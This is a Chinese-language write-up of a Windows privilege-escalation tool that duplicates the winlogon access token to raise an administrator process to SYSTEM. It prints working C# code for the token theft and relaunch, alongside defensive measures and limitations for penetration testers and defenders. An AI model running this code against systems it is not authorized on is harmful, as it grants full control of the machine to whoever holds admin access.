Sharp4Byass2SYSTEM:一款通过令牌复制将进程提升至SYSTEM权限的工具
字数 1067 2025-08-22 12:23:24
Sharp4Byass2SYSTEM 工具使用与原理详解
一、工具概述
Sharp4Byass2SYSTEM 是一款通过令牌复制技术将进程权限提升至 SYSTEM 级别的工具,主要应用于内网渗透测试环境中。该工具通过利用 Windows 系统中高权限进程(如 winlogon)的访问令牌,实现权限提升。
二、核心原理
1. Windows 权限机制基础
Windows 系统中,SYSTEM 账户是最高权限账户,拥有对系统的完全控制权。关键系统进程如 winlogon 通常以 SYSTEM 权限运行。
2. 令牌复制技术
工具通过以下步骤实现权限提升:
- 获取 winlogon 进程的令牌
- 复制该令牌
- 使用复制的令牌创建新进程
- 新进程继承 SYSTEM 权限
三、关键技术实现
1. 管理员权限检测
public static bool IsAdministrator()
{
return (new WindowsPrincipal(WindowsIdentity.GetCurrent()))
.IsInRole(WindowsBuiltInRole.Administrator);
}
- 使用
WindowsIdentity.GetCurrent()获取当前用户标识 - 通过
WindowsPrincipal.IsInRole()检查是否为管理员角色
2. 进程所有者识别
public static string GetProcessOwner(int processId)
{
string query = "Select * From Win32_Process Where ProcessID = " + processId.ToString();
ManagementObjectSearcher searcher = new ManagementObjectSearcher(query);
ManagementObjectCollection processList = searcher.Get();
foreach (ManagementBaseObject managementBaseObject in processList)
{
ManagementObject obj = (ManagementObject)managementBaseObject;
string[] argList = new string[] { string.Empty, string.Empty };
int returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", argList));
if (returnVal == 0)
{
return argList[1] + "\\" + argList[0];
}
}
return "NO OWNER";
}
- 通过 WMI 查询
Win32_Process类获取进程信息 - 调用
GetOwner方法获取进程所有者 - 返回格式为"域\用户名",SYSTEM 账户通常包含"NT"标识
3. 权限提升核心代码
public static void jumptoSys()
{
// 获取当前程序路径
string procTostart = Assembly.GetEntryAssembly().Location;
// 获取winlogon进程
Process process = Process.GetProcessesByName("winlogon")[0];
IntPtr procHandle = process.Handle;
// 打开进程令牌
IntPtr tokenHandle = IntPtr.Zero;
WinApi.OpenProcessToken(procHandle, 2U, out tokenHandle);
// 设置启动信息
WinApi.STARTUPINFO SINFO = default(WinApi.STARTUPINFO);
SINFO.dwFlags = 1;
SINFO.wShowWindow = 1;
// 复制令牌
WinApi.SECURITY_ATTRIBUTES SECA = default(WinApi.SECURITY_ATTRIBUTES);
IntPtr doubleDuplicateToken = IntPtr.Zero;
WinApi.DuplicateTokenEx(tokenHandle, 33554432U, ref SECA, 2,
WinApi.TOKEN_TYPE.TokenPrimary, out doubleDuplicateToken);
// 使用令牌创建新进程
WinApi.PROCESS_INFORMATION PINFO;
WinApi.CreateProcessWithTokenW(doubleDuplicateToken,
WinApi.LogonFlags.NetCredentialsOnly,
null, procTostart,
WinApi.CreationFlags.DefaultErrorMode,
IntPtr.Zero, null, ref SINFO, out PINFO);
}
关键API调用:
OpenProcessToken: 打开目标进程的令牌DuplicateTokenEx: 复制令牌,创建主令牌CreateProcessWithTokenW: 使用复制的令牌创建新进程
四、使用流程
- 检查当前是否为管理员权限
- 检查当前进程所有者是否为SYSTEM
- 如果不是SYSTEM权限:
- 获取winlogon进程
- 复制其令牌
- 使用令牌重新启动当前程序
- 如果是SYSTEM权限:
- 启动cmd.exe,获得SYSTEM权限的命令行
五、防御措施
- 令牌保护:配置适当的令牌权限,防止低权限用户访问高权限令牌
- 进程监控:监控关键系统进程(如winlogon)的令牌操作
- 最小权限原则:避免日常使用管理员账户
- 审计日志:启用详细的安全日志记录,监控可疑的令牌复制行为
六、工具限制
- 需要管理员权限才能执行
- 依赖winlogon等系统进程的存在
- 可能被现代EDR/AV解决方案检测
七、总结
Sharp4Byass2SYSTEM 工具展示了Windows令牌机制的安全隐患,通过复制高权限进程的令牌实现权限提升。理解其原理有助于安全人员更好地防御此类攻击,同时也为渗透测试提供了有效的权限提升手段。